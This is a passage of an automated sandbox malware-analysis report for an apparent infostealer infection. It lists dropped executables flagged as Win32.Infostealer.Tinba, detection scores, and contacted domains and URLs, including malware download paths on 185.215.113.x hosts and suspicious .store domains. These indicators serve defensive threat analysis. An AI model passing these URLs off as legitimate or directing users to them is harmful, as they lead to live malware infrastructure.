C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	100%	Joe Sandbox ML
C:\Users\user\DocumentsBAEBGHCFCA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\chrome.dll	4%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\DocumentsBAEBGHCFCA.exe	45%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
tmpfiles.org	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://founpiuer.store/apip	100%	Avira URL Cloud	malware
http://185.215.113.2060	0%	Avira URL Cloud	safe
https://drive-daily-3.corp.googlPW	0%	Avira URL Cloud	safe
https://founpiuer.store/(7	100%	Avira URL Cloud	malware
http://185.215.113.206/TenantRestrictionsPlugin.dll.0	100%	Avira URL Cloud	malware
https://founpiuer.store/p5Hf	100%	Avira URL Cloud	malware
https://founpiuer.store/apip	15%	Virustotal		Browse
http://185.215.113.16/steam/random.exeuW	100%	Avira URL Cloud	phishing
http://185.215.113.206/6c4adf523b719729.phpp3	100%	Avira URL Cloud	malware
https://founpiuer.store/eS	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeX	100%	Avira URL Cloud	phishing
http://185.215.113.206/6c4adf523b719729.php3Dm	100%	Avira URL Cloud	malware
http://185.215.113.206/6c4adf523b719729.phpOD	100%	Avira URL Cloud	malware
https://founpiuer.store/h7	100%	Avira URL Cloud	malware
https://founpiuer.store/ta87	100%	Avira URL Cloud	malware
http://185.215.113.206/746f34465cf17784/softokn3.dll$IH	100%	Avira URL Cloud	malware
http://185.215.113.43/es	100%	Avira URL Cloud	malware
https://founpiuer.store/P7	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tmpfiles.org	104.21.21.16	true	false	4%, Virustotal, Browse	unknown
founpiuer.store	104.21.5.155	true	false		high
www.google.com	142.250.185.164	true	false		high
presticitpo.store	unknown	unknown	false		high
thumbystriw.store	unknown	unknown	false		high
necklacedmny.store	unknown	unknown	false		high
crisiwarny.store	unknown	unknown	false		high
fadehairucw.store	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
fadehairucw.store	false	high
http://185.215.113.206/746f34465cf17784/freebl3.dll	false	high
http://185.215.113.206/746f34465cf17784/mozglue.dll	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
navygenerayk.store	false	high
http://185.215.113.206/746f34465cf17784/sqlite3.dll	false	high
http://185.215.113.206/746f34465cf17784/msvcp140.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	skotes.exe, 00000006.00000002.2962563702.0000000001347000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421210406.0000000001206000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421428792.0000000001238000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.2060	932a9eb371.exe, 00000008.00000002.2797456590.000000000101E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://founpiuer.store/apip	44e053de15.exe, 0000000B.00000003.2605274597.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2607259242.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2604844467.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605989185.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552220190.000039D403258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2656799171.000039D4024FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553714219.000039D403188000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552664117.000039D403160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553608723.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552028315.000039D403248000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553571167.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552265616.000039D4032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552773786.000039D403274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553521290.000039D402EE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/(7	44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://unisolated.invalid/	chrome.exe, 0000000C.00000002.2661966035.000039D402BC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552220190.000039D403258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2656799171.000039D4024FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553714219.000039D403188000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552664117.000039D403160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553608723.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552028315.000039D403248000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553571167.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552265616.000039D4032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552773786.000039D403274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553521290.000039D402EE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	false		high
https://www.ecosia.org/newtab/	44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2576139412.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661210867.000039D402A1C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-3.corp.googlPW	chrome.exe, 0000000C.00000002.2658452970.000039D402568000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670449534.000039D40321C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 0000000C.00000002.2658783234.000039D40262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660058395.000039D4028B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	skotes.exe, 00000006.00000002.2962563702.0000000001347000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421327250.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421166085.000000000123B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/TenantRestrictionsPlugin.dll.0	44e053de15.exe, 0000000B.00000002.2926159321.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/4722	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670449534.000039D40321C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	44e053de15.exe, 44e053de15.exe, 00000007.00000002.2963311697.000000000123F000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2645132437.000000000123B000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2926159321.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-manaI	44e053de15.exe, 00000007.00000003.2421327250.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 0000000C.00000002.2664645124.000039D402FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/p5Hf	44e053de15.exe, 00000007.00000003.2532511888.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2514312973.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://unisolated.invalid/a	chrome.exe, 0000000C.00000002.2661966035.000039D402BC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.rs/getrandom#nodejs-es-module-support	44e053de15.exe, 44e053de15.exe, 00000007.00000003.2656371026.000000000854B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2985941651.00000000062DC000.00000040.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.000000000005C000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2832113695.000000006C371000.00000002.00000001.01000000.0000000B.sdmp, 932a9eb371.exe, 00000008.00000003.2452950173.0000000004F1B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934224445.00000000066AC000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2752337356.0000000008AEB000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeuW	44e053de15.exe, 00000007.00000002.2963311697.000000000123F000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2645132437.000000000123B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/6c4adf523b719729.phpp3	932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 0000000C.00000003.2541460073.000039D402F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2541229105.000039D402EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2543517380.000039D402EF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2550480854.000039D402EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2541368790.000039D402EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2555015251.000039D402EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554904905.000039D402594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2543421051.000039D402594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2550134193.000039D402F24000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/gs9	chrome.exe, 0000000C.00000002.2664692795.000039D402FB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/eS	44e053de15.exe, 00000007.00000003.2456776813.00000000056C2000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2469262780.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b9	chrome.exe, 0000000C.00000002.2661611454.000039D402AEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	44e053de15.exe, 00000007.00000003.2469895891.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2606229215.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	44e053de15.exe, 00000007.00000003.2469895891.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2606229215.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/tools/feedback/chrome/__submit9	chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeX	44e053de15.exe, 0000000B.00000002.2925207855.000000000135A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.all	44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552220190.000039D403258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2656799171.000039D4024FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553714219.000039D403188000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552664117.000039D403160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553608723.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552028315.000039D403248000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553571167.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552265616.000039D4032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2552773786.000039D403274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553521290.000039D402EE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/6c4adf523b719729.php3Dm	44e053de15.exe, 0000000B.00000002.2932820064.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/5901	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
